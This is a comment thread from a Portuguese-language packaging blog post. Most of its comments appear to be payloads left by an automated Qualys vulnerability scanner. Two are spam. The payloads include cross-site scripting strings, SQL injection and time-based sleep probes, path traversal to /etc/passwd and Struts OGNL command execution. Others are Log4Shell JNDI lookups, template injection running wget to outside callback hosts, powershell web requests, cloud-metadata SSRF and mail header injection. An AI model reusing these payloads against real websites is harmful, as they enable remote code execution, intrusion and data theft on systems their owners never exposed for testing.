Boas Práticas e Tendências do Universo das Embalagens #CCLConnect

247 comments

1. 1

2. 1

3. ” onEvent=X140466576332864Y1_2Z

4. 1″‘>

5. _q=random(X140466576332864Y1_2Z)

7. 1

8. BODY{background:url(“javascript:qssf1yUdniH=7”)}

9. 1

10. <script src=http://localhost/j

11. q
    Content-Type:text/html
    Content-Length: 190

    HTTP/1.1 200 OK
    Content-Type: text/html
    Set-Cookie: a=q
    Content-Length: 2

    AA

12. ;–

13. 1

14. 1

15. //..//..//..//..//..//..//..//etc/passwd

16. php://filter/read=string.rot13/resource=/etc/passwd

17. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q2d1hi3j’).(#str3=’B4D7e6′).(#str=#str2+’:QQ:’+#str1+’:PP:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

18. javascript:qxss(X140466576332864Y1_2Z);

19. ‘;(function(){qxss7S3LgCi7});/**/’

20. 1

21. |aaaa
    =(23.0231*213.759)
    |${23.0231*213.759}{23.0231*213.759}{{23.0231*213.759}}(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

22. function(){qxss6vccv2c2};

23. QualysWAS${“150898”.toString().replace(“8”, “7”)}QualysWAS

24. Joe+
    bcc:was_engine@d31076daacdaeaf4290906230506744c6d2c7904.18081633293184848.1117822281.smtphi01.smtp.eu2.qualysperiscope.com.

25. ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//38c1cba999d8c19340374948935c06e6f5c2baab.18081633293184848.661089317.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

26. ${dns:address|c9568140c9287818914f398ab720617d50cc6eb4.18081633293184848.17583393.oscomm04.oscomm.eu2.qualysperiscope.com.}

27. ${url:UTF-8:http://@CIPHER@.@UNIQUEID@.@URI@.oscomm08.oscomm.@DOMAIN@}

28. 1

29. 1

30. ${dns:address|b3272882c2d805b8d3d8449cb779cfd77444f0e9.18081633293184848.2156853770.oscomm21.oscomm.eu2.qualysperiscope.com.}

31. ${url:UTF-8::http://edebfc54bc77c9a5b4241be564c6e0b4c72196ae.18081633293184848.691711085.oscomm24.oscomm.eu2.qualysperiscope.com.}

32. 1

33. 1

34. 1

35. 1 or 4325=4325 —

36. 1

37. 1′) or ‘swqtp’=’swqtp

38. 11 or 11=11

39. 1

40. |ping -c2 -i91 localhost|

41. 1);WAITFOR DELAY ’00:00:29′–

42. 1

43. 1;SELECT sleep(29); —

44. 1′ OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND ‘qualys’=’qualys

45. 1

46. 1

47. javascript:qxss(X139902190786688Y1_2Z);

48. 1

49. 1 _q_q=random(DmrFvRs4)

52. “‘>

53. 1

54. 1

55. 1′

56. 1

57. 1

58. 1

59. 1

60. %25{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q9d4hi5j’).(#str3=’R9D7e8′).(#str=#str2+’:QQ:’+#str1+’:TT:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

61. |netstat -an

62. 1

63. 9;(function(){qxssC3c6hwmI});//

64. 1

65. ;echo 23.0231*213.759;//{@math key=4335.158242899999 method=”add” operand=586.23659/}
    /*

    #set($value=23.0231*213.759)
    $value
    */

66. https://community.qualys.com/

67. 1

68. 5c2b1a4706d9cb1c42884a63ce08c1db694db943.18152794293184848.3968532701.ssrf02.ssrf.eu2.qualysperiscope.com.

69. ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//9cd321ec96334746de56d9625003a1b493dadef4.18152794293184848.1698291372.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

70. 1

71. 1

72. powershell -c iwr -uri http://@CIPHER@.@UNIQUEID@.@URI@.oscomm11.oscomm.@DOMAIN@

73. ${url:UTF-8::https://c961e666edcc3ad77e7c4b455d531c8f70d4e4fc.18152794293184848.2361298476.oscomm16.oscomm.eu2.qualysperiscope.com./Qualyswas}

74. ${url:UTF-8:https://bd246190f356e27e9cd6bdf96cbfed8fb0a1a320.18152794293184848.661249335.oscomm19.oscomm.eu2.qualysperiscope.com./}

75. ${url:UTF-8:http://cc7cd0e83ffe04aed62f92cf1f9a2343b3098569.18152794293184848.3682850551.oscomm22.oscomm.eu2.qualysperiscope.com.}

76. {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘wget http://02063d20b0ae37410c6ce21fd7457f02daf758f3.18152794293184848.2008837761.oscomm15019101.oscomm.eu2.qualysperiscope.com.’).read() }}

77. 1

78. 1

79. 1

80. 1 or NULL IS NULL

81. 1

82. 1′ or ‘tpklq’=’tpklq

83. 1

84. 1

85. 1

86. 1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

87. 1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*’XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); — OR’|”XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); — OR”*/

88. 1(#context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false), #_memberAccess[“allowStaticMethodAccess”]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

89. 1

90. javascript:qxss(X139805956683680Y1_2Z);

91. “‘>

93. 1

94. BODY{background:url(“javascript:qssiBIsy9uo=7”)}

95. ” onEvent=X139805956683680Y1_2Z

96. qss{{q=(2*2.0)}}qss

97. 1

98. /*

99. 1e309

100. 1

101. 1

102. a(){}phpinfo(); function a

103. “;(function(){qxss01UtGxpf});/**/”

104. ‘;(function(){qxsse80K5k6N});/**/’

105. ‘-qxss6O27AYLO()-‘

106. 1

107. 1

108. Joe+
     bcc:was_engine@0d175a1e7637f09587db156d481862a5801ecb7d.18235919293184848.835924118.smtphi01.smtp.eu2.qualysperiscope.com.

109. ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//b5a01af97d68c8b0c7fd263be0b5d2000f44c812.18235919293184848.2547307246.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

110. ${dns:address|8570c04f53d15aea831be2ca8d5f2648bdb9476e.18235919293184848.806399399.oscomm04.oscomm.eu2.qualysperiscope.com.}

111. 1

112. powershell -c iwr -uri https://@CIPHER@.@UNIQUEID@.@URI@.oscomm13.oscomm.@DOMAIN@

113. 1

114. ${dns:address|9f0f168f103be4d735565a753462fbb8dcc731a8.18235919293184848.4139319159.oscomm21.oscomm.eu2.qualysperiscope.com.}

115. ${url:UTF-8::https://ba3301ae85a075ce00305ed8bbefab274918de4c.18235919293184848.2007893169.oscomm25.oscomm.eu2.qualysperiscope.com./}

116. ${“”.getClass().forName(“java.net.InetAddress”).getMethod(“getByName”,””.getClass()).invoke(“”,”6ed0edfaa1644df89b9e4fecb5bc96f46c9cc525.18235919293184848.974314192.oscomm15079701.oscomm.eu2.qualysperiscope.com.”)}

117. http://localhost:19096

118. 1′) or 2634=2634 —

119. 1

120. 1

121. 1

122. 1

123. 1

124. 1WAITFOR DELAY ’00:00:29′

125. 1′;WAITFOR DELAY ’00:00:29′–

126. 1

127. 1

128. 1

129. “‘>

130. javascript:qxss(X140064258691920Y1_2Z);

131. z–>

132. _q=random(X140064258691920Y1_2Z)

133. ” SRC=//localhost/j1Y9Gh9Lx>

134. 1

135. 1

136. ” onEvent=X140064258691920Y1_2Z

137. 1

138. q
     Qualys_resp_hdr_injection: Vulnerable

139. 1

140. “

141. 1

142. 1

143. 1

144. 1

145. “;(function(){qxss0Kg0Lw5J});/**/”

146. 1

147. 1

148. 1

149. function(){qxssW0Xd76zz};

150. 1

151. Joe+
     bcc:was_engine@6181461c53a2fd55590c8df10b45d73484958b4d.18322028293184848.1692756993.smtphi01.smtp.eu2.qualysperiscope.com.

152. ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//60ee9c5171d9fcd465f2b88b8859d7a2fd0c7e26.18322028293184848.454078417.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

153. 1

154. 1

155. 1

156. ${url:UTF-8::https://962a0346f15d8797c0f6277f716d34af7e047e8b.18322028293184848.3799737744.oscomm16.oscomm.eu2.qualysperiscope.com./Qualyswas}

157. ${url:UTF-8:https://a9b681506bd0ba29b9ff68318c21823ca19aecc7.18322028293184848.2885516205.oscomm19.oscomm.eu2.qualysperiscope.com./}

158. ${url:UTF-8:http://6c14343a86539aaa8aaf4607950942320c5f4540.18322028293184848.2768846110.oscomm22.oscomm.eu2.qualysperiscope.com.}

159. 1

160. {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘wget http://1fac988714685ff1c2e73fd8e13a25e5e5f3232a.18322028293184848.1807395976.oscomm15019101.oscomm.eu2.qualysperiscope.com.’).read() }}

161. 1

162. 1

163. 1

164. 1

165. 1

166. 1′ and ‘tpklq’=’xqlkp

167. 1

168. 1

169. 1

170. 1

171. 1

172. 1′ WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)– prime

173. 1

174. 1″‘>

175. 1 _q_q=random(kuLfbasP)

176. 1

177. “‘><qss4GMM7ltT=7;//<

179. %3cscript z%3e_q(y)%3c/script%3e

180. q
     Qualys_resp_hdr_injection: Vulnerable

181. /*

182. //..//..//..//..//..//..//..//etc/passwd

183. ….//….//….//….//….//….//etc/passwd

184. |netstat -an

185. 1

186. “-qxssF1QW5k68()-“

187. http://169.254.169.254/latest/meta-data/

188. 1

189. ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//6fda1d89caa8f480ed0e234bd3b2c2fdf0d8208a.18322028293184848.1537508328.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

190. 1

191. ${url:UTF-8:https://@CIPHER@.@UNIQUEID@.@URI@.oscomm09.oscomm.@DOMAIN@}

192. 1

193. ${url:UTF-8:http://56cfb39efa8adc5df99e32afb5d2b142f10f19d0.18322028293184848.2629241144.oscomm18.oscomm.eu2.qualysperiscope.com./}

194. ${url:UTF-8:https://050a1d826cd09417ff8d4009571b9f7f3ec3bdce.18322028293184848.4164935616.oscomm23.oscomm.eu2.qualysperiscope.com.}

195. {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘wget http://bb052c5db78de9beae22de63ce1edcaa90b16412.18322028293184848.3768302024.oscomm15019101.oscomm.eu2.qualysperiscope.com.’).read() }}

196. 1

197. 1

198. 1

199. 1

200. 1

201. 1

202. 1;WAITFOR DELAY ’00:00:29′;

203. 1

204. 1

205. Good Day,

     I’m Maylan Lopez from Universal Plastic Mold, Inc., We’re evaluating potential partners for a project in Q2 2026 and would like to confirm your availability and interest.

     If you’re interested, we can share further details and scope upon your confirmation.

     Looking forward to your response.

     Best regards,

     Maylan Lopez

     UPM Business Development Team

     Maylan Lopez
     Accounting Manager
     Universal Plastic Mold
     13245 Los Angeles St.
     Baldwin Park, CA 91706

206. Hi,

     I hope you’re having a great week.

     I wanted to explore a potential SEO collaboration. I can offer links to cclindsa.com from 5 well-maintained local business websites (DR30+), with no fees involved. In exchange, I’d appreciate links to 5 different of my client sites from your side — a balanced, mutually SEO beneficial arrangement to boost your website ranking on Google.

     If this is something you’d consider, I’d be glad to share the site list for your review.

     Kind regards,
     Clark

207. 1

208. 1

209. 1″‘>

210. _q=random(X139754081531808Y1_2Z)

211. 1

213. 1

214. 1

215. 1

216. 1

217. 1

218. ,

219. 1

220. 1

221. 1

222. 1

223. 9;(function(){qxss8wk70KR0});//

224. “-qxss265s8KYj()-“

225. (23.0231*213.759)

226. 1

227. http://f4a4c6df957610922f9fae6faa3d6721d35cf806.18422653293184848.2870392353.ssrf01.ssrf.eu2.qualysperiscope.com.

228. 1

229. ${dns:address|c9ca6a3abf5ef94e33dda3e3bcc5a0483d68edd5.18422653293184848.1396744429.oscomm04.oscomm.eu2.qualysperiscope.com.}

230. 1

231. 1

232. 1

233. 1

234. ${dns:address|6b3f3e7daacf079ec6bd242a8cb2817f539658de.18422653293184848.3554766057.oscomm21.oscomm.eu2.qualysperiscope.com.}

235. ${url:UTF-8::http://c6fdfc51935bae76ab35097b2ccadee4bb05e62f.18422653293184848.820487673.oscomm24.oscomm.eu2.qualysperiscope.com.}

236. {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘wget http://f3591274c1098c9ef1b58f9bc3276fff1fa5aa19.18422653293184848.2248475291.oscomm15019101.oscomm.eu2.qualysperiscope.com.’).read() }}

237. 1

238. 1

239. 1

240. 1 and NULL IS NULL

241. 1′) and ‘swqtp’=’ptqws

242. 1

243. 1

244. 1

245. 1

246. 1

247. 1